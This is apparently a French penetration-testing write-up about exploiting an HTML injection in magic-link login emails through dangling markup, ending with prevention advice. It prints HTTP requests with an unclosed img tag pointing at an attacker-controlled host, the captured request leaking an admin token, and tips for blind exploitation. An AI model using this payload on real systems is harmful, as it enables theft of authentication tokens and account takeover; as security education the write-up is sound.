Lors d’un test d’intrusion d’application web, nous sommes tombés sur la situation suivante.

Exploitation d'une injection HTML avec dangling markup

Une fonctionnalité permettait aux administrateurs de la plateforme de s’authentifier via des « magic links ». Ces « magic links » sont des liens transmis par email qui contiennent un jeton unique permettant d’authentifier un utilisateur sans que ce dernier ait besoin de taper son mot de passe.

Notons que pour ce pentest, nous étions en boite grise. Nous disposions d’un compte admin de test avec accès à la boîte email de l’administrateur. Cependant l’attaque décrite ci-dessous peut aussi fonctionner en aveugle (en boite noire) si elle est correctement exécutée.

Le fonctionnement normal de l’application était le suivant :

  • L’administrateur veut se connecter sur admin.myapp.com. Il est redirigé vers le SSO (sso.myapp.com).
  • La page d’authentification sur le SSO consiste seulement en un formulaire permettant à l’administrateur d’entrer son adresse email.
  • Après avoir indiqué son adresse email, l’administrateur reçoit un email seulement si l’email est dans la liste blanche des administrateurs. L’email reçu contient le lien magique avec le jeton d’authentification. Lorsqu’il clique sur ce lien, il est authentifié sur admin.myapp.com.

Découverte d’une possibilité d’injection HTML

Voici un exemple de la requête transmise lorsque l’administrateur entre son email sur le formulaire d’authentification du SSO :

POST /auth/magic-link HTTP/2 
Host: sso.myapp.com 
Content-Type: application/json;charset=utf-8 
Content-Length: 81 

{"email":"[email protected]","appId":"sso","boUrl":"https://admin.myapp.com/"}}

L’email reçu par l’administrateur ressemble au suivant :

Nous pouvons voir que le jeton permettant d’authentifier l’administrateur est visible dans l’email. L’autre élément marquant se trouve dans la requête. Il s’agit du paramètre boUrl.

Après plusieurs rejeux de cette requête, nous avons constaté les éléments suivants :

  • L’URL contenue dans le paramètre boUrl doit impérativement avoir un format valide. Elle doit inclure le protocole HTTPS.
  • Une vérification stricte sur le domaine transmis dans le paramètre boUrl est effectuée. Seul le domaine admin.myapp.com est autorisé ainsi que d’autres sous-domaines dans une liste blanche.
  • L’email dans la requête doit correspondre à celui d’un administrateur. Sans quoi aucun email n’est envoyé.
  • La réponse du serveur est la même, que la requête soit considérée comme valide ou non. Cela rend plus complexe la détection de la vulnérabilité en boite noire.

La raison de l’existence du paramètre boUrl s’explique par le fait que d’autres back-offices peuvent exister. Dans ce cas, le paramètre boUrl est vérifié à l’aide d’une liste blanche. Le magic link transmis dans l’email est ensuite généré pour le back-office correspondant.

Identification de la vulnérabilité d’injection HTML

Nous nous sommes aperçus que lorsque nous entrions une URL valide dans le paramètre boUrl, avec un des domaines dans la liste blanche, et que nous ajoutions des paramètres, ces derniers étaient repris dans la génération du magic link :

Requête :

POST /auth/magic-link HTTP/2 
Host: sso.myapp.com 
Content-Type: application/json;charset=utf-8 
Content-Length: 94 

{"email":"[email protected]","appId":"sso","boUrl":"https://admin.myapp.com/?test=vaadata"}}

La valeur du paramètre bo_url semble directement utilisée par le backend pour générer le magic link. Le token est ajouté à la suite de l’URL valide transmise par l’utilisateur. Une redirection ouverte est impossible en raison des validations effectuées sur le domaine.

En revanche, il n’est pas rare que des paramètres contrôlables par l’utilisateur repris dans les emails ne soient pas correctement vérifiés ni encodés. Cela conduit souvent à des injections HTML qui n’ont généralement pas un gros impact.

Essayons tout de même de construire une URL valide avec du code HTML dans un paramètre :

Requête :

POST /auth/magic-link HTTP/2 
Host: sso.myapp.com 
Content-Type: application/json;charset=utf-8 
Content-Length: 101 

{"email":"[email protected]","appId":"sso","boUrl":"https://admin.myapp.com?<h1><s>TEST</s></h1>"}}

L’injection a fonctionné et le HTML injecté est bien interprété. Nous savons également la confirmation que le point d’injection se situe juste avant le paramètre token. Ce dernier est ajouté à la partie que nous contrôlons pour former le lien.

Exploitation de l’injection HTML

Maintenant que nous savons que c’est vulnérable et que notre point d’injection se situe juste avant le jeton qui est ajouté au magic link, nous pouvons utiliser une injection HTML avec la technique du dangling markup.

Le principe est le suivant : nous allons injecter une image en HTML avec une source qui pointe vers un serveur que nous contrôlons. Nous allons volontairement oublier de fermer notre balise image. Voici le payload en question à insérer dans le paramètre boUrl :

https://admin.myapp.com?<img src=\“https:// <collaborator_id>.oastify.com/?test=

La première partie https://admin.myapp.com? correspond à l’URL d’administration. Elle est nécessaire pour que le serveur accepte la requête.

Nous ouvrons ensuite une balise image avec une source vers un serveur que nous contrôlons : ici <your_ID>.oastify.com qui correspond à une URL générée par l’outil Burp Collaborator. Nous ajoutons un paramètre test et ne fermons pas l’attribut src ni la balise image.

De cette manière, lorsque le code HTML sera interprété, le logiciel qui va lire le HTML va chercher à fermer la balise image. Tout ce qui se trouve entre notre point d’injection et les prochains caractères “> va être inséré dans la source de notre image et exfiltré vers notre serveur lorsqu’un utilisateur ouvrira l’email. Cela inclut le token d’authentification du magic link.

Requête complète :

POST /auth/magic-link HTTP/2 
Host: sso.myapp.com 
Content-Type: application/json;charset=utf-8 
Content-Length: 129 

{"email":"[email protected]","appId":"sso","boUrl":"https://admin.myapp.com?<img src=\“https://icontrolit.gothamcity.com/?test=”}}

Email reçu :

Lors de l’ouverture de l’email par un administrateur, l’image va automatiquement être chargée et nous allons recevoir une requête sur notre serveur :

GET /?test=?token=739f65ac-7d4d-4122-9f94-19bd17b0e7b6%3C/a%3E%20%20%3C/div%3E%20%20%20%20%20%20%3C/td%3E%20%20%20%20%3C/tr%3E%20%20%3C/tbody%3E%3C/table%3E%3Ctable%20id= HTTP/1.1
Host: lnc0nr14cvjz3l9i58in6ov0rrxil89x.oastify.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: image/avif,image/webp,*/*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

Nous pouvons voir que la requête contient effectivement le token ainsi que de nombreux autres caractères. Les caractères suivant le token correspondent à tout ce qui a été exfiltré avant que les caractères “> n’aient été rencontrés dans le template du mail pour fermer notre balise image.

Note : Certains clients d’emails peuvent bloquer le chargement automatique des images. Dans ce cas, il est possible de faire l’injection avec d’autres balises HTML comme un lien. Cependant, cela nécessite un clic de la part de l’utilisateur qui se fait piéger et réduit donc la probabilité d’exploitation.

Exploitation de cette injection HTML en boite noire

Dans le cas d’un test en boîte noire, dans la peau d’un attaquant externe, toute la section de détection de la vulnérabilité n’est pas possible, car nous n’avons pas de compte administrateur au préalable pour analyser les emails générés.

En revanche, le fait de voir que l’endpoint d’authentification est associé à des magic links (visible dans l’URL) et qu’un paramètre permettant d’indiquer une URL est présent dans la requête doit mettre la puce à l’oreille.

En premier lieu, la présence d’un paramètre contenant une URL peut faire penser à une SSRF. Cependant, si après plusieurs tests vous n’avez aucun retour à vos tentatives de SSRF, cela peut indiquer que le paramètre est vérifié côté serveur.

L’idée consiste donc à mettre la main sur une adresse email valide via des techniques d’OSINT. Puis de tenter des attaques en aveugle en insérant volontairement un payload HTML valide non fermé tout en gardant le domaine transmis par défaut lors de l’utilisation de l’authentification. Il faut essayer d’anticiper la potentielle liste blanche sur le nom de domaine et le protocole. Il faut ensuite être patient et espérer qu’un utilisateur ouvre l’email. La probabilité d’exploitation est donc assez faible. L’impact en revanche reste critique.

Dans de nombreux cas, aucune vérification n’est effectuée sur le paramètre vulnérable. La vulnérabilité est donc souvent plus simple à détecter puis à exploiter.

Ce qu’il faut retenir

Lorsque vous trouvez un point d’injection et qu’il n’est pas possible d’obtenir une injection de code JavaScript (XSS), pensez à regarder les données qui se trouvent au niveau du point d’injection. Si des données sensibles sont insérées proche du point d’injection, une simple injection HTML peut avoir des conséquences importantes. En boîte noire, tenter d’injecter des payload HTML avec du « dangling markup » en aveugle peut permettre d’exfiltrer des données normalement cachées vers un serveur que vous contrôlez.

Comment prévenir les vulnérabilités d’injection HTML ?

Comme pour tout type d’injection, l’idée est de ne jamais faire confiance aux éléments contrôlables par les utilisateurs.

La règle de base pour éviter les XSS consistant à encoder au format HTML tous les caractères spéciaux est également valable pour éviter les injections HTML. Y compris lorsque les données utilisateurs sont réutilisées dans des emails.

Dans ce cas précis, une autre solution serait de ne tout simplement pas reprendre les données transmises dans le paramètre boUrl. La liste blanche doit être appliquée sur la totalité de la valeur transmise et non sur le domaine et le protocole uniquement.

Auteur : Yoan MONTOYA – Pentester @Vaadata